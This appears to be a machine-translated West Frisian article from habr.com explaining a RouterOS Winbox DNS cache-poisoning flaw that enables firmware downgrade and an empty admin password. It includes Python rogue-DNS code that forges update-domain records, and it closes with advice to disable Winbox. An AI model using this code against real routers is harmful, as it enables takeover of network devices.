Backport-kwetsberens yn RouterOS set hûnderttûzenen apparaten yn gefaar

Backport-kwetsberens yn RouterOS set hûnderttûzenen apparaten yn gefaar

De mooglikheid om apparaten op ôfstân te downgraden basearre op RouterOS (Mikrotik) set hûnderttûzenen netwurkapparaten yn gefaar. De kwetsberens is ferbûn mei fergiftiging fan 'e DNS-cache fan it Winbox-protokol en lit jo ferâldere (mei in standert wachtwurd weromsette) of wizige firmware op it apparaat laden.

Backport-kwetsberens yn RouterOS set hûnderttûzenen apparaten yn gefaar

Kwetsberens details

De RouterOS-terminal stipet it resolve-kommando foar DNS-opsykjen.

Backport-kwetsberens yn RouterOS set hûnderttûzenen apparaten yn gefaar

Dit fersyk wurdt behannele troch in binêr neamd resolver. Resolver is ien fan in protte binaries dy't ferbine mei RouterOS's Winbox-protokol. Op in heech nivo kinne "berjochten" stjoerd nei de Winbox-poarte wurde trochstjoerd nei ferskate binaries yn RouterOS basearre op in array-basearre nûmeringskema.

Standert hat RouterOS de DNS-tsjinnerfunksje útskeakele.

Backport-kwetsberens yn RouterOS set hûnderttûzenen apparaten yn gefaar

Sels as de tsjinnerfunksje útskeakele is, hâldt de router lykwols syn eigen DNS-cache.

Backport-kwetsberens yn RouterOS set hûnderttûzenen apparaten yn gefaar

As wy in fersyk meitsje mei help fan winbox_dns_request bygelyks example.com, sil de router it resultaat cache.

Backport-kwetsberens yn RouterOS set hûnderttûzenen apparaten yn gefaar

Om't wy de DNS-tsjinner kinne opjaan wêrmei it fersyk moat gean, is it ynfieren fan ferkearde adressen triviaal. Jo kinne bygelyks in DNS-tsjinner ymplemintaasje konfigurearje fan Philip Klausom altyd te reagearjen mei in A-record mei it IP-adres 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

No as jo sykje foar example.com mei Winbox, kinne jo sjen dat de DNS-cache fan 'e router fergiftige is.

Backport-kwetsberens yn RouterOS set hûnderttûzenen apparaten yn gefaar

Fansels is poisoning example.com net heul nuttich, om't de router it net echt sil brûke. De router moat lykwols tagong krije ta upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com en download.mikrotik.com. En troch in oare flater is it mooglik om se allegear tagelyk te fergiftigjen.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

De router freget ien tastimming, en wy jouwe fiif werom. De router cache net al dizze antwurden goed.

Backport-kwetsberens yn RouterOS set hûnderttûzenen apparaten yn gefaar

Fansels is dizze oanfal ek nuttich as de router fungearret as in DNS-tsjinner, om't it mooglik makket dat kliïnten fan 'e router oanfallen wurde.

Dizze oanfal lit jo ek in mear serieuze kwetsberens eksploitearje: downgrade of backport de ferzje fan RouterOS. De oanfaller makket de logika fan 'e fernijingstsjinner opnij, ynklusyf it changelog, en twingt RouterOS om de ferâldere (kwetsbere) ferzje as aktueel te sjen. It gefaar hjir leit yn it feit dat as de ferzje "bywurke" wurdt, it behearderwachtwurd wurdt weromset nei de standertwearde - in oanfaller kin ynlogge by it systeem mei in leech wachtwurd!


De oanfal wurket frijwat, nettsjinsteande it feit dat de auteur ymplemintearret ferskate mear vectoren, ynklusyf dy relatearre oan in efterdoar ynbêde yn 'e firmware, mar dit is al in oerstallige technyk en it brûken dêrfan foar yllegale doelen is yllegaal.

beskerming

Gewoan útskeakelje Winbox kinne jo beskermje dysels út dizze oanfallen. Nettsjinsteande it gemak fan administraasje fia Winbox, is it better om it SSH-protokol te brûken.

Boarne: www.habr.com

Add a comment